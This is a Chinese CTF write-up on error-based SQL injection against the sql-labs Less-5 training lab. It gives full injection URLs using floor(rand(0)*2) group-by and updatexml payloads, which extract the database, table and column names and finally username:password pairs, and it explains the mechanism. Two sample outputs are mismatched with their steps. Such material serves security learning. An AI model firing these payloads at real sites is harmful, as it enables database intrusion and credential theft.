【CTF-WEB-SQL】SQL注入基本流程-错误注入(sql-labs的Less5)(updatexml)

针对 Less-5 的实战利用

步骤一:获取数据库名
方法一:
sql 复制代码
http://223.112.39.132:46157/Less-5/?id=1' 
union select 1, count(*), 
concat(
  (select database()), 
  '---', 
  floor(rand(0)*2)
) as a 
from information_schema.tables 
group by a --+

结果示例:

text 复制代码
Duplicate entry 'security---1' for key 'group_key'

✅ 数据库名 = security

方法二:
sql 复制代码
http://223.112.39.132:46157/Less-5/?id=1' 
and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) --+

结果示例:

text 复制代码
XPATH syntax error: '~security~'

✅ 数据库名 = security

步骤二:获取所有表名
sql 复制代码
http://223.112.39.132:46157/Less-5/?id=1' 
and updatexml(1, concat(0x7e, (
  select group_concat(table_name) 
  from information_schema.tables 
  where table_schema=database()
), 0x7e), 1) --+

结果示例:

text 复制代码
Duplicate entry 'emails,referers,uagents,users---0' for key 'group_key'

✅ 表名 = emails, referers, uagents, users


步骤三:获取字段名(以users表为例)
sql 复制代码
http://223.112.39.132:46157/Less-5/?id=1' 
and updatexml(1, concat(0x7e, (
select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
), 0x7e), 1) --+

结果示例:

text 复制代码
XPATH syntax error: '~id,username,password~'

✅ 字段 = emails,referers,uagents,users


步骤四:拖取敏感数据
sql 复制代码
http://223.112.39.132:46157/Less-5/?id=1' 
and updatexml(1, concat(0x7e, (
  select group_concat(username,':',password) 
   from users
), 0x7e), 1) --+

结果示例:

sql 复制代码
Duplicate entry 'Dumb:Dumb,Angelina:I-kill-you,...---0' for key 'group_key'

✅ 用户名密码 = Dumb:Dumb, Angelina:I-kill-you, ...


为什么这个方法在Less-5有效?

  1. 漏洞特性

    • 页面不显示查询结果,但显示SQL错误信息
    • rand(0)的确定性序列是触发报错的关键
  2. 优势对比

    方法 请求次数 速度 复杂度
    布尔盲注 数百次
    时间盲注 数百次 极慢
    报错注入 1次 即时
  3. 防御绕过

    即使应用不返回查询结果,只要泄露错误信息,此方法就有效


报错注入原理分析(针对您的Payload)

sql 复制代码
?id=1' 
union select 1, count(*), 
concat(
  (select database()),  -- 获取数据库名
  '---', 
  floor(rand(0)*2)      -- 生成随机数0或1
) as a 
from information_schema.tables 
group by a --+

关键技术点floor

  1. floor(rand(0)*2)

    • 固定种子0rand()会生成可预测序列:0,1,1,0,1,1...
    • floor(rand(0)*2) 结果序列:0,1,1,0,1,1...
  2. group by + count(*)

    • 当使用group by对虚拟列a分组时:
      • 首次遇到新值 → 建立新分组
      • 再次遇到相同值 → 增加计数
    • 关键漏洞 :MySQL 在建立分组时先计算rand()值再判断是否存在分组
  3. 触发报错的流程

    行号 rand() 操作 结果
    1 0 创建分组 dbname---0 成功
    2 1 创建分组 dbname---1 成功
    3 1 增加分组 dbname---1计数 成功
    4 0 尝试增加分组 dbname---0计数 ⚠️ 但此时分组未创建(rand()序列特性)→ 报错
  4. 报错信息泄露数据

    错误消息会包含导致冲突的虚拟列值:

    sql 复制代码
    Duplicate entry 'security---0' for key 'group_key'

    其中 security 就是数据库名!


相关推荐
其实防守也摸鱼4 天前
ctfshow--VIP题目限免2(后10个) 原理和知识拓展
网络·ctf·讲解·原理·知识·ctfshow·解题
茫忙然7 天前
kali渗透测试与CTF常用命令大全
渗透测试·ctf
白帽子黑客-宝哥8 天前
网络安全有哪些赛事
web安全·网络安全·ctf·漏洞挖掘·网络安全大赛
说实话起个名字真难啊10 天前
2026数字中国创新大赛初赛wp之图片隐写一
ctf
蒲公英eric12 天前
CTFshow misc入门misc8
ctf·misc·图片隐写·ctfshow·图片隐藏
其实防守也摸鱼14 天前
集成开发环境phpStudy安装与配置指南(包含DVWA)
网络·安全·php·web·ctf·工具配置
其实防守也摸鱼15 天前
ctfshow--VIP题目限免(包含原理和知识拓展)前10个
网络·算法·安全·学习笔记·ctf·泄露·web类型
Pure_White_Sword15 天前
[NSSRound#6 Team]void(V1)
网络安全·ctf·reverse·逆向工程
mooyuan天天16 天前
AI大模型辅助Web渗透测试-TRAE智能体自动化解CTF题(命令执行 powershell)
人工智能·web安全·渗透测试·ctf·ai辅助渗透测试
Pure_White_Sword20 天前
[广东省大学生攻防大赛 2022]pyre
网络安全·ctf·reverse·逆向工程